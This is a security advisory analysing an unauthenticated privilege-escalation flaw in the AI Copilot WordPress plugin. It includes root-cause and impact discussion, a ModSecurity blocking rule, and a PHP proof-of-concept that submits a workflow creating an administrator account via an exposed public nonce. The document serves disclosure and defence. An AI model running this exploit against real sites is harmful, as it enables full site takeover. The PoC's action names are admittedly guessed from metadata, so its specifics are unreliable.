Atomic Edge analysis of CVE-2026-14526 (metadata-based): This vulnerability affects the AI Copilot – Content Generator plugin for WordPress, all versions up to and including 1.5.6. It is an unauthenticated privilege escalation flaw that lets an attacker create a new administrator-level account and take over the site. The CVSS score is 9.8, reflecting the critical impact and ease of exploitation. Atomic Edge analysis confirms the vulnerability stems from an authorization bypass in a custom workflow route that fails to enforce proper capability checks before executing workflow actions.
Root Cause: The CWE classification (269 Improper Privilege Management) and the vulnerability description indicate the plugin’s custom workflow execution path does not verify that the requesting user has the necessary capabilities. The description specifically mentions a publicly accessible nonce value (WAIC_DATA.waicNonce) emitted into JavaScript on pages rendering the [aiwu-form] shortcode or public chatbot. This nonce is intended to authorize requests but is exposed to unauthenticated visitors, rendering the nonce check ineffective. The plugin likely relies solely on this nonce for authorization instead of combining it with a capability check (e.g., current_user_can(‘manage_options’)). Atomic Edge analysis infers this from the CWE and description; the exact code path is not confirmable because no source code diff or plugin files are available.
Exploitation: An unauthenticated attacker can craft a POST request to the plugin’s AJAX or custom route handler. The endpoint is likely a WordPress AJAX action or a REST route such as /wp-admin/admin-ajax.php with action parameter matching the plugin’s workflow execution hook (e.g., ‘aiwu_save_workflow’ or ‘aiwu_run_workflow’). The attacker must include the publicly available nonce (waic-nonce) in the request. The request must contain a workflow definition that includes a wp_create_user node with role=administrator, along with the necessary user parameters (username, email, password). Because the nonce is public and no capability check occurs, the plugin will save and execute the workflow, creating a new admin account. The attacker then logs in and achieves full site takeover. Atomic Edge analysis confirms this exploitation path is directly supported by the vulnerability description.
Remediation: The plugin must add proper authorization checks before handling any workflow-related actions. This includes verifying that the current user has the required capabilities (e.g., current_user_can(‘manage_options’) or a plugin-specific capability) in addition to nonce verification. The plugin should also restrict workflow execution to authenticated users with elevated privileges. For the nonce, the plugin should never expose sensitive nonces in publicly accessible JavaScript. If a nonce must be used for guest interactions, it should be scoped to only the intended guest actions and not to privileged operations like user creation. Atomic Edge analysis recommends these measures based on the CWE and the vulnerability pattern.
Impact: Successful exploitation allows an unauthenticated attacker to create an administrator account and fully compromise the WordPress site. The attacker can then install malicious plugins, modify content, steal data, or pivot to the server. The CVSS vector (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H) indicates no authentication or user interaction is required, and the impact on confidentiality, integrity, and availability is high. Atomic Edge research assesses this as a critical vulnerability requiring immediate action, especially since no patched version is available.
Here you will find our ModSecurity compatible rule to protect against this particular CVE.
# Atomic Edge WAF Rule - CVE-2026-14526 (metadata-based)
# Blocks unauthenticated attempts to create an admin user via the AI Copilot workflow route
# This rule targets the AJAX action and the workflow with a wp_create_user node and administrator role
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php"
"id:202614526,phase:2,deny,status:403,chain,msg:'CVE-2026-14526 via AI Copilot workflow AJAX',severity:'CRITICAL',tag:'CVE-2026-14526'"
SecRule ARGS_POST:action "@streq aiwu_save_workflow" "chain"
SecRule ARGS_POST:workflow "@rx wp_create_user.{0,500}role.{0,100}administrator" "t:urlDecode"
# Also block if the action is 'aiwu_run_workflow' (alternative execution action)
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php"
"id:202614527,phase:2,deny,status:403,chain,msg:'CVE-2026-14526 via AI Copilot workflow execution',severity:'CRITICAL',tag:'CVE-2026-14526'"
SecRule ARGS_POST:action "@streq aiwu_run_workflow" "chain"
SecRule ARGS_POST:workflow "@rx wp_create_user.{0,500}role.{0,100}administrator" "t:urlDecode"
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-14526 - AI Copilot – Content Generator <= 1.5.6 - Unauthenticated Privilege Escalation via Custom Workflow Route
// This PoC assumes the plugin uses AJAX action 'aiwu_save_workflow' (or similar) to handle workflow requests.
// The vulnerability relies on a nonce exposed in public JS (WAIC_DATA.waicNonce) which is accessible to unauthenticated users.
// Adjust the $ajax_action variable if the actual action is different.
// Configuration
$target_url = 'http://example.com/wp-admin/admin-ajax.php'; // Change to the target WordPress site
$ajax_action = 'aiwu_save_workflow'; // Adjust based on plugin's actual AJAX action
$nonce = 'public_nonce_from_waic_data'; // Replace with the nonce extracted from the page's WAIC_DATA object
// New admin user details
$new_username = 'cve_admin';
$new_password = 'P@ssw0rd_2026';
$new_email = 'attacker@example.com';
// Workflow payload containing a wp_create_user node with administrator role
$workflow = [
'nodes' => [
[
'type' => 'wp_create_user',
'args' => [
'username' => $new_username,
'password' => $new_password,
'email' => $new_email,
'role' => 'administrator'
]
]
]
];
// Build the POST body
$post_data = [
'action' => $ajax_action,
'waic_nonce' => $nonce,
'workflow' => json_encode($workflow)
];
// Initialize cURL
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
// Execute request
$response = curl_exec($ch);
if (curl_errno($ch)) {
echo 'cURL error: ' . curl_error($ch) . PHP_EOL;
exit(1);
}
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
// Output result
echo "HTTP Code: $http_coden";
echo "Response: $responsen";
// Check if the response indicates success (e.g., includes the new user ID or a success flag)
if ($http_code === 200 && (strpos($response, 'success') !== false || strpos($response, 'user_id') !== false)) {
echo "[+] Exploit successful! Admin user '$new_username' created.n";
} else {
echo "[-] Exploit may have failed. Check response for errors.n";
}
